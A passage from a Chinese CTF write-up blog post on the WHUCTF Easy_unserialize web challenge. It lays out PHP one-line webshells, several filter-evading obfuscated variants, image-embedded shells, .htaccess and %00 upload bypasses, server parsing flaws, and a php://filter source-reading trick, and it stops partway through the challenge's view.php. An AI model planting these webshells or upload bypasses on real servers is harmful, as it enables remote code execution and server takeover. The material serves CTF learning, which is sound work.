[网络安全自学篇] 八十一.WHUCTF之WEB类解题思路WP(文件上传漏洞、冰蝎蚁剑、反序列化phar)

这是作者网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您喜欢,一起进步。前文分享了WHUCTF部分题目,包括代码审计、文件包含、过滤绕过、SQL注入。这篇文章将讲解Easy_unserialize解题思路,详细分享文件上传漏洞、冰蝎蚁剑用法、反序列化phar等。第一次参加CTF,还是学到了很多东西,后面几天忙于其他事情,就没再参加。人生路上,要珍惜好每一天与家人陪伴的日子。感谢武汉大学,感谢网安学院,感谢这些大佬和师傅们(尤其出题和解题的老师们)~

作者作为网络安全的小白,分享一些自学基础教程给大家,主要是关于安全工具和实践操作的在线笔记,希望您们喜欢。同时,更希望您能与我一起操作和进步,后续将深入学习网络安全和系统安全知识并分享相关实验。总之,希望该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!如果文章对您有帮助,将是我创作的最大动力,点赞、评论、私聊均可,一起加油喔~

PS:本文参考了WHUCTF题目及WP、安全网站和参考文献中的文章(详见参考文献),并结合自己的经验和实践进行撰写,也推荐大家阅读参考文献。

作者的github资源:
软件安全:https://github.com/eastmountyxz/Software-Security-Course
其他工具:https://github.com/eastmountyxz/NetworkSecuritySelf-study
CTF案例:https://github.com/eastmountyxz/CTF-Web-WP


声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。

前文学习:
[网络安全自学篇] 一.入门笔记之看雪Web安全学习及异或解密示例
[网络安全自学篇] 二.Chrome浏览器保留密码功能渗透解析及登录加密入门笔记
[网络安全自学篇] 三.Burp Suite工具安装配置、Proxy基础用法及暴库示例
[网络安全自学篇] 四.实验吧CTF实战之WEB渗透和隐写术解密
[网络安全自学篇] 五.IDA Pro反汇编工具初识及逆向工程解密实战
[网络安全自学篇] 六.OllyDbg动态分析工具基础用法及Crakeme逆向
[网络安全自学篇] 七.快手视频下载之Chrome浏览器Network分析及Python爬虫探讨
[网络安全自学篇] 八.Web漏洞及端口扫描之Nmap、ThreatScan和DirBuster工具
[网络安全自学篇] 九.社会工程学之基础概念、IP获取、IP物理定位、文件属性
[网络安全自学篇] 十.论文之基于机器学习算法的主机恶意代码
[网络安全自学篇] 十一.虚拟机VMware+Kali安装入门及Sqlmap基本用法
[网络安全自学篇] 十二.Wireshark安装入门及抓取网站用户名密码(一)
[网络安全自学篇] 十三.Wireshark抓包原理(ARP劫持、MAC泛洪)及数据流追踪和图像抓取(二)
[网络安全自学篇] 十四.Python攻防之基础常识、正则表达式、Web编程和套接字通信(一)
[网络安全自学篇] 十五.Python攻防之多线程、C段扫描和数据库编程(二)
[网络安全自学篇] 十六.Python攻防之弱口令、自定义字典生成及网站暴库防护
[网络安全自学篇] 十七.Python攻防之构建Web目录扫描器及ip代理池(四)
[网络安全自学篇] 十八.XSS跨站脚本攻击原理及代码攻防演示(一)
[网络安全自学篇] 十九.Powershell基础入门及常见用法(一)
[网络安全自学篇] 二十.Powershell基础入门及常见用法(二)
[网络安全自学篇] 二十一.GeekPwn极客大赛之安全攻防技术总结及ShowTime
[网络安全自学篇] 二十二.Web渗透之网站信息、域名信息、端口信息、敏感信息及指纹信息收集
[网络安全自学篇] 二十三.基于机器学习的恶意请求识别及安全领域中的机器学习
[网络安全自学篇] 二十四.基于机器学习的恶意代码识别及人工智能中的恶意代码检测
[网络安全自学篇] 二十五.Web安全学习路线及木马、病毒和防御初探
[网络安全自学篇] 二十六.Shodan搜索引擎详解及Python命令行调用
[网络安全自学篇] 二十七.Sqlmap基础用法、CTF实战及请求参数设置(一)
[网络安全自学篇] 二十八.文件上传漏洞和Caidao入门及防御原理(一)
[网络安全自学篇] 二十九.文件上传漏洞和IIS6.0解析漏洞及防御原理(二)
[网络安全自学篇] 三十.文件上传漏洞、编辑器漏洞和IIS高版本漏洞及防御(三)
[网络安全自学篇] 三十一.文件上传漏洞之Upload-labs靶场及CTF题目01-10(四)
[网络安全自学篇] 三十二.文件上传漏洞之Upload-labs靶场及CTF题目11-20(五)
[网络安全自学篇] 三十三.文件上传漏洞之绕狗一句话原理和绕过安全狗(六)
[网络安全自学篇] 三十四.Windows系统漏洞之5次Shift漏洞启动计算机
[网络安全自学篇] 三十五.恶意代码攻击溯源及恶意样本分析
[网络安全自学篇] 三十六.WinRAR漏洞复现(CVE-2018-20250)及恶意软件自启动劫持
[网络安全自学篇] 三十七.Web渗透提高班之hack the box在线靶场注册及入门知识(一)
[网络安全自学篇] 三十八.hack the box渗透之BurpSuite和Hydra密码爆破及Python加密Post请求(二)
[网络安全自学篇] 三十九.hack the box渗透之DirBuster扫描路径及Sqlmap高级注入用法(三)
[网络安全自学篇] 四十.phpMyAdmin 4.8.1后台文件包含漏洞复现及详解(CVE-2018-12613)
[网络安全自学篇] 四十一.中间人攻击和ARP欺骗原理详解及漏洞还原
[网络安全自学篇] 四十二.DNS欺骗和钓鱼网站原理详解及漏洞还原
[网络安全自学篇] 四十三.木马原理详解、远程服务器IPC$漏洞及木马植入实验
[网络安全自学篇] 四十四.Windows远程桌面服务漏洞(CVE-2019-0708)复现及详解
[网络安全自学篇] 四十五.病毒详解及批处理病毒制作(自启动、修改密码、定时关机、蓝屏、进程关闭)
[网络安全自学篇] 四十六.微软证书漏洞CVE-2020-0601 (上)Windows验证机制及可执行文件签名复现
[网络安全自学篇] 四十七.微软证书漏洞CVE-2020-0601 (下)Windows证书签名及HTTPS网站劫持
[网络安全自学篇] 四十八.Cracer第八期——(1)安全术语、Web渗透流程、Windows基础、注册表及黑客常用DOS命令
[网络安全自学篇] 四十九.Procmon软件基本用法及文件进程、注册表查看
[网络安全自学篇] 五十.虚拟机基础之安装XP系统、文件共享、网络快照设置及Wireshark抓取BBS密码
[网络安全自学篇] 五十一.恶意样本分析及HGZ木马控制目标服务器
[网络安全自学篇] 五十二.Windows漏洞利用之栈溢出原理和栈保护GS机制
[网络安全自学篇] 五十三.Windows漏洞利用之Metasploit实现栈溢出攻击及反弹shell
[网络安全自学篇] 五十四.Windows漏洞利用之基于SEH异常处理机制的栈溢出攻击及shell提取
[网络安全自学篇] 五十五.Windows漏洞利用之构建ROP链绕过DEP并获取Shell
[网络安全自学篇] 五十六.i春秋老师分享小白渗透之路及Web渗透技术总结
[网络安全自学篇] 五十七.PE文件逆向之什么是数字签名及Signtool签名工具详解(一)
[网络安全自学篇] 五十八.Windows漏洞利用之再看CVE-2019-0708及Metasploit反弹shell
[网络安全自学篇] 五十九.Windows漏洞利用之MS08-067远程代码执行漏洞复现及shell深度提权
[网络安全自学篇] 六十.Cracer第八期——(2)五万字总结Linux基础知识和常用渗透命令
[网络安全自学篇] 六十一.PE文件逆向之数字签名详细解析及Signcode、PEView、010Editor、Asn1View等工具用法(二)
[网络安全自学篇] 六十二.PE文件逆向之PE文件解析、PE编辑工具使用和PE结构修改(三)
[网络安全自学篇] 六十三.hack the box渗透之OpenAdmin题目及蚁剑管理员提权(四)
[网络安全自学篇] 六十四.Windows漏洞利用之SMBv3服务远程代码执行漏洞(CVE-2020-0796)复现及详解
[网络安全自学篇] 六十五.Vulnhub靶机渗透之环境搭建及JIS-CTF入门和蚁剑提权示例(一)
[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)
[网络安全自学篇] 六十七.WannaCry勒索病毒复现及分析(一)Python利用永恒之蓝及Win7勒索加密
[网络安全自学篇] 六十八.WannaCry勒索病毒复现及分析(二)MS17-010利用及病毒解析
[网络安全自学篇] 六十九.宏病毒之入门基础、防御措施、自发邮件及APT28样本分析
[网络安全自学篇] 七十.WannaCry勒索病毒复现及分析(三)蠕虫传播机制分析及IDA和OD逆向
[网络安全自学篇] 七十一.深信服分享之外部威胁防护和勒索病毒对抗
[网络安全自学篇] 七十二.逆向分析之OllyDbg动态调试工具(一)基础入门及TraceMe案例分析
[网络安全自学篇] 七十三.WannaCry勒索病毒复现及分析(四)蠕虫传播机制全网源码详细解读
[网络安全自学篇] 七十四.APT攻击检测溯源与常见APT组织的攻击案例
[网络安全自学篇] 七十五.Vulnhub靶机渗透之bulldog信息收集和nc反弹shell(三)
[网络安全自学篇] 七十六.逆向分析之OllyDbg动态调试工具(二)INT3断点、反调试、硬件断点与内存断点
[网络安全自学篇] 七十七.恶意代码与APT攻击中的武器(强推Seak老师)
[网络安全自学篇] 七十八.XSS跨站脚本攻击案例分享及总结(二)
[网络安全自学篇] 七十九.Windows PE病毒原理、分类及感染方式详解
[网络安全自学篇] 八十.WHUCTF之WEB类解题思路WP(代码审计、文件包含、过滤绕过、SQL注入)


前文欣赏:
[渗透&攻防] 一.从数据库原理学习网络攻防及防止SQL注入
[渗透&攻防] 二.SQL MAP工具从零解读数据库及基础用法
[渗透&攻防] 三.数据库之差异备份及Caidao利器
[渗透&攻防] 四.详解MySQL数据库攻防及Fiddler神器分析数据包



一.Easy_unserialize题目描述

网址: http://218.197.154.9:10010/
考点: 反序列化+文件上传

在这里插入图片描述

主界面显示如下图所示:

在这里插入图片描述

其中,upload上传文件, view查看已上传的图片。

在这里插入图片描述

在这里插入图片描述

上传文件代码如下:

<form action="upload.php" method="post" accept-charset="utf-8" enctype="multipart/form-data">
    <label name="title" for="file">图片:   </label>
    <input type="file" name="file" id="file">
    <input type="submit" class="button" name="submit" value="上传">
</form>


二.作者解题思路

这道题目有点遗憾没有完成,题目虽然叫“Easy_unserialize”,但我的第一想法是文件上传漏洞,也尝试了很多方法都未成功。下面我将分别从我的解题思路和WP思路进行讲解,希望对您有所帮助~

在这里插入图片描述


1.一句话和冰蝎蚁剑

(1) “一句话木马”服务端
服务端一句话是指本地存储的脚本木马文件,是我们要用来将恶意代码上传到服务器网站中执行权限。该语句触发后,接收入侵者通过客户端提交的数据,执行并完成相应的操作。PHP常用一句话木马的代码如下:

//http://localhost/easy_unserialize/ma01.php
<?php eval($_POST[whuctf]); ?>

//http://localhost/easy_unserialize/ma02.php
<?php assert($_POST[whuctf]); ?>

(2) 中国蚁剑反弹shell
通过中国蚁剑连接“ma01.php”文件,其代码为一句话木马“<?php eval($_POST[whuctf]); ?>”;然后再蚁剑空白处右键“添加”,设置URL地址及连接密码“whuctf”。

在这里插入图片描述

连接成功后成功获取目标网站的服务器文件目录,如下图所示:

在这里插入图片描述


(3) 冰蝎反弹shell
冰蝎作为新款的webshell连接工具,使用效果非常好。其基本使用方法如下图所示:

在这里插入图片描述

连接URL和密码并反弹shell。

在这里插入图片描述

在这里插入图片描述

下载地址:https://github.com/rebeyond/Behinder



2.图片一句话

(1) 题目分析
由于该题只能上传图片文件,我们想到的是图片一句话木马。针对该网站,如果我们直接上传“ma01.php”文件它会提示“You can’t upload this kind of file!”错误,这是因为它指定了图片文件格式。

在这里插入图片描述

而当我们上传图片“mm.jpg”时,它就能成功上传,并且查看图片如下图所示:

在这里插入图片描述
在这里插入图片描述


(2) 网站内容检查
内容检查是网站安全的重要手段之一。假设我们将包含一句话木马的“fox.php”修改为“1.jpg”并上传,有的网址会提示上传错误,因为JPG格式不能执行PHP文件脚本的。

<?php eval($_POST[fox]); ?> 

如下图所示,它会判断图片的文件头,包括gif、png、jpg等格式。

在这里插入图片描述

文件头是用来判断数据格式的,这里尝试修改文件头进行上传,以gif文件为例,添加文件头“GIF89a”后即可上传成功。

在这里插入图片描述

同样可以尝试BurpSuite抓包修改文件后缀.php进行上传,后面会详细讲解。

在这里插入图片描述


(3) 解题思路
由于该题有检测文件的content-type,我们可以准备一张很小的图片,比如画图中新建一个像素的jpg,然后往里面添加shell到图片尾部。同时,该题仅检测文件头,而没检测图片是否能正常使用,所以图片几十个字节也够用。接下来还需要让网站按PHP后缀来解析,这又涉及到解析漏洞。比如IIS的服务器会把诸如1.asp;1.jpg以asp来解析,虽然后缀本质是jpg;旧版的Apache可以上传1.php.xxx文件,只要xxx对容器来说不是动态脚本不能解析,它就会往左边逐个解析,直到遇到php就解析了;还有旧版的Ngnix可以上传shell.jpg,然后访问shell.jpg/1.php或者shell.jpg%00.php都可以用php来解析jpg文件。这些都是需要用到网站容器、系统、环境的缺陷或者漏洞。


(4) 图片一句话木马制作
某些网站上传文件时,会检查你上传文件的头目录,如果你的一句话木马是放在PHP文件中,它很容易被识别出来。这个时候图片一句话木马的作用就体现出来了。在CMD中直接运行,如下图所示,它是在mm.jpg图片中插入mm01.php中的一句话木马 “<?php eval($_POST[whuctf]); ?>” ,并存储为mm-ma01.jpg图片,其中b表示二进制,a表示ascii编码。

copy mm.jpg/b+ma01.php/a mm-ma01.jpg

在这里插入图片描述

在这里插入图片描述

用Notepad++打开“mm-ma01.jpg”可以看到,里面包含了一句话木马,并且不影响我们的图片质量。

在这里插入图片描述

此时我们上传包含一句话木马的“mm-ma01.jpg”文件,但提示错误:You could not upload this image because of some dangerous code in your file!,这是因为它检查了“eval”关键词。

在这里插入图片描述



3.过狗一句话绕过限制

上面说明对某些关键字有限制,我们需要对一句话木马进行绕过处理,下面我总结了常见的一些方法:

//通过变量赋值
<?php $a='b'; $$a='assert'; $b($_POST[shell]); ?>
<?php $a = "eval"; $a(@$_POST['shell']); ?>

//通过str_replace函数替换
<?php $a=str_replace("Waldo", "", "eWaldoval"); $a(@$_POST['shell']); ?>

//通过base64_decode函数编码
<?php $a=base64_decode("ZXZhbA=="); $a($_POST['shell']);?>

//通过字符串拼接
<?php $a="e"."v"; $b="a"."l"; $c=$a.$b; $c($_POST['shell']); ?>

//利用parse_str函数
<?php $str="a=eval"; parse_str($str); $a($_POST['shell']); ?>

//使用脚本
<script language="PHP"> @eval($_POST['shell']); </script>

//创建shell.php文件
<?php fputs(fopen('shell.php','w'),'<?php assert($_POST[whuctf]);?>'); ?>

//使用一句话木马时可以在函数前加”@”符 让php语句不显示错误信息从而增加隐蔽性

下面是我进一步制作的图片一句话木马。

在这里插入图片描述

在这里插入图片描述

遗憾的是,虽然图片都能成功上传,但中国蚁剑和冰蝎都无法连接成功。

在这里插入图片描述

同时,发现只要增加文件头如“GIF89a”,就能够绕过该网站上传图片的限制。

GIF89a
<?php assert($_POST[whuctf]); ?>

如果是本地上传“gif-ma01.php”文件,就能够成功反弹shell,如下图所示。

在这里插入图片描述

在这里插入图片描述

但该网站会提示“You can’t upload this kind of file!”,因为它对上传的后缀名有校验(从而拦截gif-ma01.php),而如果修改后缀为“gif-ma01.gif”,则能够成功上传。

在这里插入图片描述

在这里插入图片描述

查看该gif图片显示如下图所示:

在这里插入图片描述

但是中国蚁剑、冰蝎等仍然无法连接,接着怎么办呢?

在这里插入图片描述

分析原因
这是因为部分网站是有文件格式解析的,即网站会判断上传的脚本是否可以被执行,某些文件格式是无法被解析的,即上传的jpg\gif格式文件无法被php格式解析。这也是为什么有的图片一句话木马不能访问,其实和网站环境相关,也涉及到解析漏洞,需要让所上传的文件按php格式解析才能运行。



4.BurpSuite文件上传漏洞的常用方法

接下来作者想通过BurpSuite拦截上传的文件,对其格式进行修改,看看能否上传并按照期待的php文件格式解析。下面详细介绍文件上传漏洞的各种方法,希望能帮助到您。

方法1:JS绕过文件上传
有的网站会通过客户端JS验证本地上传文件,所以如果你上传一个不正确的文件格式,它的判断会很快显示出来你上传的文件类型不正确。我们可以删除文件上传校验函数,如代码οnsubmit="return checkFile()"中的checkFile()。

在这里插入图片描述

比如,上传其他文件会有相关的错误提示。

在这里插入图片描述

或者尝试在允许上传格式的文件里添加.php格式。

在这里插入图片描述

失败: 因为该题没有本地校验,并且当前无法看到上传校验的代码。



方法2:上传允许上传的文件,再用BurpSuite进行抓包改包
比如,首先上传一个规则的文件“gif-ma01.gif”,再用BurpSuite抓包修改为“gif-ma01.php”。

在这里插入图片描述

失败: 提示必须要上传图片格式“You can’t upload this kind of file!”。



方法3:MIME绕过文件上传
MIME(Multipurpose Internet Mail Extensions)多用于互联网邮件扩展类型,是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。

核心作用:服务器判断你上传的是什么文件。其基本类型比如:

  • {".3gp", “video/3gpp” }
  • {".asp", “application/x-asap” }
  • {".avi", “video/x-msvideo” }
  • {".bmp", “image/bmp” }
  • {".cpp", “text/plain” }
  • {".jpe", “image/jpeg” }
  • {".mp4", “video/mp4” }

本题显示的是图片格式,下面是使用BurpSuite抓取所上传的JPG文件和PHP文件的类型对比。

在这里插入图片描述

某些情况会限制上传文件的类型,此时也需要修改“Content-Type”类型。比如将上传的PHP文件Content-Type修改为“image/gif”。

在这里插入图片描述

失败: 简单修改后缀名或content-type均无法实现,提示必须要上传图片格式“You can’t upload this kind of file!”。

在这里插入图片描述



方法4:扩展名限制绕过

① 大小写、双写绕过文件上传
大小写是把文件扩展名进行php测试绕过。如“1.php”文件上传会被拦截,而修改成“1.phP”后成功上传。双写则为“phphpp”等格式。

② 点、空格绕过文件上传
在文件后缀上添加空格重新命名,会自动删除所谓的空格,点同理会自动删除的,因为可能尝试欺骗服务器验证。系统默认是不支持加空格、加点的,比如“.php空格”会自动解析为“.php”,“.php.”会自动解析为“.php”。比如使用BurpSuite抓包进行操作,如下图所示,将上传的“.php”文件后增加一个空格,再点击Forward进行上传。

在这里插入图片描述


③ htaccess文件绕过上传
.htaccess文件或者“分布式配置文件”提供了针对每个目录改变配置的方法,即在一个特定的目录中放置一个包含指令的文件,其中的指令作用于此目录及其所有子目录。简单来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。它的功能有:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或目录的访问、禁止目录列表、配置默认文档等。这里我们需要用到的是改变文件扩展名,代码如下:

<FilesMatch "eastmount">
SetHandler application/x-httpd-php
</FilesMatch>

接着它会把fox名字的文件全都以php来运行,需要特殊文件进行创建,如Notepad++。首先上传一个“.htaccess”文件,再上传一个“fox.jpg”文件,它会将这张图片以php来解析。

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

显示如下图所示,因为是以php格式解析的,而不显示成一张jpg图片。

在这里插入图片描述

接着打开中国菜刀,获取了该服务器的目录。

在这里插入图片描述

显示的两个文件如下图所示:包括 “fox.jpg” 和 “.htaccess”。

在这里插入图片描述


④ PHP345文件绕过上传
PHP3代表PHP版本3,这里用于文件绕过检测。一般的软件都是向下兼容,PHP3代码,PHP5同样兼容能够执行。如下图所示,fox.php5文件同样能够正常上传。

在这里插入图片描述


⑤ Windows ::$DATA绕过
Windows ::$DATA绕过只能用于Windows,Windows下NTFS文件系统有一个特性,即NTFS文件系统在存储数据流的一个属性DATA时,是请求a.php本身的数据。如果a.php还包含了其他的数据流,比如a.php:lake2.php,请求a.php:lake2.php::$DATA,则是请求a.php中的流数据lake2.php的流数据内容。简单来说,就是在数据后面加上::$DATA实现绕过,fox.php::$DATA返回fox.php数据。

在这里插入图片描述


⑥ Apache解析漏洞上传
Apache是从右到左判断解析,如果为不可识别解析,就再往左判断。比如1.php.xxx对Apache来说xxx是不可解析的,所以就会解析成1.php,这就是该漏洞的实现原理。

在这里插入图片描述

如上图所示,将本地“fox.php”修改为“fox.php.xxx”,然后点击上传。

在这里插入图片描述

接着尝试用菜刀去连接。URL为靶场的网址,密码为PHP一句话木马中的“fox”,代码如下:

<?php eval($_POST[fox]); ?> 

下图是Caidao连接的示意图。

在这里插入图片描述

连接之后,成功获取文件目录,可以看到“fox.php.xxx”被成功上传。

在这里插入图片描述

本题能够成功上传“gif-ma01.php.xxxgif”文件,如下图所示,难道成功了吗?

在这里插入图片描述

在这里插入图片描述

然而当使用中国蚁剑和冰蝎去连接时仍然失败,说明该网站不存在Apache解析漏洞。

在这里插入图片描述

失败: 这道题目不会让你上传“.htaccess”文件,同时也不会让你简单绕过上传,不存在Apache等漏洞。



方法5:%00截断上传
0x00是十六进制表示方法,是ASCII码为0的字符,在有些函数处理时,会把这个字符当做结束符。这个可以用在对文件类型名的绕过上。需要注意,00截断get是可以自动转换的,post需要特殊转换,下面举一个例子。

首先,选择上传一张包含一句话木马的“php.jpg”图片。

在这里插入图片描述

然后,利用BurpSuite抓包并修改后缀名为“php.php%001.jpg”。如果直接修改为“php.php”可能会被过滤。

在这里插入图片描述

这种方法仍然不可行,因为它采用post提交数据,需要特殊转换。这里选中“%00”右键转换为URL格式,如下图所示,然后再点击“Forward”提交数据即可。

在这里插入图片描述

文件成功上传,%00自动截断后面的内容。

在这里插入图片描述

本题我也进行了尝试,上传包含一句话木马的图片文件“gif-ma02.gif”,然后利用BurpSuite抓包并修改后缀名为“gif-ma02.php%001.gif”。

在这里插入图片描述

在这里插入图片描述

失败: 非常遗憾,系统识别出来,并且扔给我一个“Hacker!”,真让人哭笑不得,还是太菜。

在这里插入图片描述



方法6:特色版本漏洞

① IIS6.0 解析漏洞

  • 目录解析
    以“*.asp”命名的文件夹里的文件都将会被当成ASP文件执行,比如“1.asp/1.jpg”,这里1.jpg会被当做asp文件执行。
  • 文件解析
    “*.asp;.jpg”像这种畸形文件名在 “;” 后面的直接被忽略,也就是说当成 “*.asp”文件执行。比如“1.asp;1.jpg”命名的文件,同样是以asp脚本进行执行。

利用IIS6.0解析漏洞,我们可以在网站下建立名字为“*.asp” 、“*.asa”的文件夹,其目录内的任何扩展名的文件都被IIS当作asp文件来解析。例如创建目录“vidun.asp”,则“/vidun.asp/1.jpg”将被当作asp文件来执行。如下图所示,尝试在左边“upfile/”文件路径名后面增加文件名称“1.asp;”,然后点击请求发送。右边会显示文件成功上传,其路径详见图中。

在这里插入图片描述

上传之后的文件可以成功访问,如下图所示,然后Caidao连接即可。

在这里插入图片描述


② 编辑器漏洞
编辑器属于第三方软件,它的作用是方便网站管理员上传或编辑网站上的内容,类似我们电脑上的Word文档。常用编辑器包括FCKeditor、EWEbeditor、CKFinder、UEDITOR等。

FCKeditor编辑器漏洞利用
在高版本fck中,直接上传或抓包修改文件名“a.asp;.jpg”,都会将前面的点变成下划线,也就是变成“a_asp;.jpg”,这样我们的文件名解析就无效果了。绕过方法是突破建立文件夹,其实质是利用我们IIS6.0的目录解析。

假设路径为“/fckeditor/editor/filemanager/connectors/test.html”,文件名中包含“fck”,可以直接判定为FCK编辑器。在FCKeditor中选中“a.asp;.png”并成功上传,如下图所示。

在这里插入图片描述
打开服务器,可以看到成功上传的图片文件。它名字被修改为“a_asp;.png”,这就是FCK高版本的过滤,它将“.”修改为“_”。

在这里插入图片描述

eWebEditor编辑器漏洞
eWeb编辑器需要登录后台,其默认数据库地址是:ewebeditor/db/ewebeditor.mdb,利用eweb遍历漏洞遍历文件目录、查看整个网站结构及敏感信息,比如:ewebeditor/admin_uploadfile.asp?id=14&dir=./。


③ IIS高版本上传–畸形解析漏洞
前面讲述的IIS6.0毕竟是一个低版本,除了靶场和僵尸站很少能够遇到。下面讲解高版本漏洞。

  • 畸形解析漏洞影响版本
    IIS7、IIS7.5、Nginx<0.8.03
  • 漏洞产生条件
    开启Fast-CGI或php配置文件中cgi.fix_pathinfo。
  • 漏洞产生原因
    其漏洞不是IIS本身的问题,而是PHP配置不当造成的问题,根本原因是开启了cgi.fix_pathinfo选项。由于该漏洞是php配置造成,并且默认开启该功能,所以它影响了IIS7、IIS7.5、IIS8.5等多个版本,凡是IIS+PHP都有可能会有这个漏洞。
  • 漏洞利用方法
    当我们上传一张名为“1.jpg”的图片文件,并且这张图片文件里包含以下代码。那么它会生成一个叫shell.php的脚本文件,并写入我们的一句话,密码为cmd。而一句话的位置是:上传的图片文件名字“/shell.php”。如果图片没有被改名,那么现在我们的一句话文件在“1.jpg/shell.php”中。
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>'); ?>

接着我们演示另一个代码,将“1.jpg”内容修改如下,直接写入shell。

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>'); ?>

在这里插入图片描述

访问“/1.jpg/shell.php”显示的内容为空。

在这里插入图片描述

但是此时会在服务器生成一个名为“shell.php”的文件,如下图所示:

在这里插入图片描述

并且“shell.php”包含了我们的一句话木马,这样通过Caidao即可访问该页面,并获取服务器的文件目录。

在这里插入图片描述

使用该方法我们尝试插入一句话木马,很幸运我们的图片是成功上传了。

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

但遗憾的是,并没有生成shell.php文件,并且提示“The requested URL /upload/0835ddbdeff6aa08c9b7804a24dc203e/gif-ma04.gif/shell.php was not found on this server.”。

在这里插入图片描述


④ aspx漏洞
aspx它有一个“web.config”的配置文件,它规定我们上传文件的后缀。

在这里插入图片描述

我们可以自定一个后缀名来解析aspx文件。

在这里插入图片描述

换句话说,当我们遇到可以上传配置文件的时候,则上传我们修改好的配置文件,然后自定义一个后缀名如“.ad”,从而绕过WAF或检测,上传成功之后它会解析成aspx并执行。如下图所示:

在这里插入图片描述

所以,当我们遇到可以上传配置文件的时候,通过该方法实现绕过,从而提权。


失败: 非常遗憾,我们通过下面的代码也没有成功。

<?php fputs(fopen('shell.php','w'),'<?php @assert($_POST[whuctf]); ?>'); ?>

哎,尝试了很多方法都没成功,自己还是太菜了!但希望这部分文件上传漏洞和一句话木马的总结希望您喜欢。大家有好的解决方法也可以告知我,接下来我们回到题目“easy_unserialize”,那可能需要反序列化解决。

在这里插入图片描述



三.WP解题思路

下面我分享52hertz大佬的解题思路,并结合自己的经验总结。本题考查的上传phar触发反序列化,同时参考创宇404实验室的文章。

(1) 通过分析主页源码,发现upload和view两个对话框包括关键字段name=“acti0n”,抓包可以看到?acti0n=upload的访问方式,这是一个文件包含的漏洞点。

在这里插入图片描述

(2) 通过设置“acti0n”参数和filter过滤访问upload.php和view.php页面,同时进行base64大写过滤。

  • ?acti0n=php://filter/convert.basE64-encode/resource=upload.php
  • ?acti0n=php://filter/convert.basE64-encode/resource=view.php

推荐作者上一篇文章的文件包含漏洞
文件包含漏洞是指通过PHP函数引入文件时,传入的文件名没有经过合理的验证,从而操作了预想之外的文件,就可能导致意外的文件泄漏甚至恶意代码注入。当php://filter与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行,从而导致任意文件读取。

在这里插入图片描述

upload.php在线base64解码如下所示,没有什么利用的点。

<!DOCTYPE html>

<link type = "text/css" rel = "stylesheet" href = "css/style.css">

<html lang = "zh">
<head>
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
	<title>上传图片</title>
</head>
<body>	
	<script type = "text/javascript" color = "0,0,255" opacity = '0.7' zIndex = "-2" count = "99" src = 'js/canvas-nest.min.js'></script> <!-- 动态背景 -->
	<br><br><br>
	<h2>上传你手里最好的图片!</h2>
	<p id = "comment">If it is excellent enough, you will get the flag!</p>
	<br><br><br>
	<div class = "form1">
		<form action = "upload.php" method = "post" accept-charset = "utf-8" enctype = "multipart/form-data">
			<label name = "title" for = "file">图片:   </label>
			<input type = "file" name = "file" id = "file">
			<input type = "submit" class = "button" name = "submit" value = "上传">
		</form>
	</div>
	
</body>
</html>

<?php 
	error_reporting(0);
	$dir = 'upload/'.md5($_SERVER['REMOTE_ADDR']).'/';
	if(!is_dir($dir)) {
		if(!mkdir($dir, 0777, true)) {
			echo error_get_last()['message'];
			die('Failed to make the directory');
		}
	}
	chdir($dir);
	if(isset($_POST['submit'])) {
		$name = $_FILES['file']['name'];
		$tmp_name = $_FILES['file']['tmp_name'];
		$ans = exif_imagetype($tmp_name);
		if($_FILES['file']['size'] >= 204800) {
			die('filesize too big.');
		}
		if(!$name) {
			die('filename can not be empty!');
		}
		if(preg_match('/(htaccess)|(user)|(\.\.)|(%)|(#)/i', $name) !== 0) {
			die('Hacker!');
		}
		if(($ans != IMAGETYPE_GIF) && ($ans != IMAGETYPE_JPEG) && ($ans != IMAGETYPE_PNG)) {
			$type = $_FILES['file']['type'];
			if($type == 'image/gif' or $type == 'image/jpg' or $type == 'image/png' or $type == 'image/jpeg') {
				echo "<p align=\"center\">Don't cheat me with Content-Type!</p>";
			}
			echo("<p align=\"center\">You can't upload this kind of file!</p>");
			exit;
		}
		$content = file_get_contents($tmp_name);
		if(preg_match('/(scandir)|(end)|(implode)|(eval)|(system)|(passthru)|(exec)|(chroot)|(chgrp)|(chown)|(shell_exec)|(proc_open)|(proc_get_status)|(ini_alter)|(ini_set)|(ini_restore)|(dl)|(pfsockopen)|(symlink)|(popen)|(putenv)|(syslog)|(readlink)|(stream_socket_server)|(error_log)/i', $content) !== 0) {
			echo('<script>alert("You could not upload this image because of some dangerous code in your file!")</script>');
			exit;
		}		

		$extension = substr($name, strrpos($name, ".") + 1);
		if(preg_match('/(png)|(jpg)|(jpeg)|(phar)|(gif)|(txt)|(md)|(exe)/i', $extension) === 0) {
			die("<p align=\"center\">You can't upload this kind of file!</p>");
		} 
		$upload_file = $name;
		move_uploaded_file($tmp_name, $upload_file);

		if(file_exists($name)) {
			echo "<p align=\"center\">Your file $name has been uploaded.<br></p>";
		} else {
			echo '<script>alert("上传失败")</script>';
		}
		echo "<p align=\"center\"><a href=\"view.php\" >点我去看上传的文件</a></p>";
		#header("refresh:3;url=index.php");
	}
 ?>

访问view.php页面如下图所示:

在这里插入图片描述

view.php在线base64解码如下所示:

<!DOCTYPE html>
<html lang="zh">
<head>
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
	<title>查看图片</title>
	<link type = "text/css" rel = "stylesheet" href = "css/style.css">
</head>
<body>
	<script type = "text/javascript" color = "0,0,255" opacity = '0.7' zIndex = "-2" count = "99" src = 'js/canvas-nest.min.js'></script> <!-- 动态背景 -->
	<?php
	#include_once "flag.php"; 
	error_reporting(0);
	class View
	{
		public $dir;
		private $cmd;

		function __construct()
		{
			$this->dir = 'upload/'.md5($_SERVER['REMOTE_ADDR']).'/';
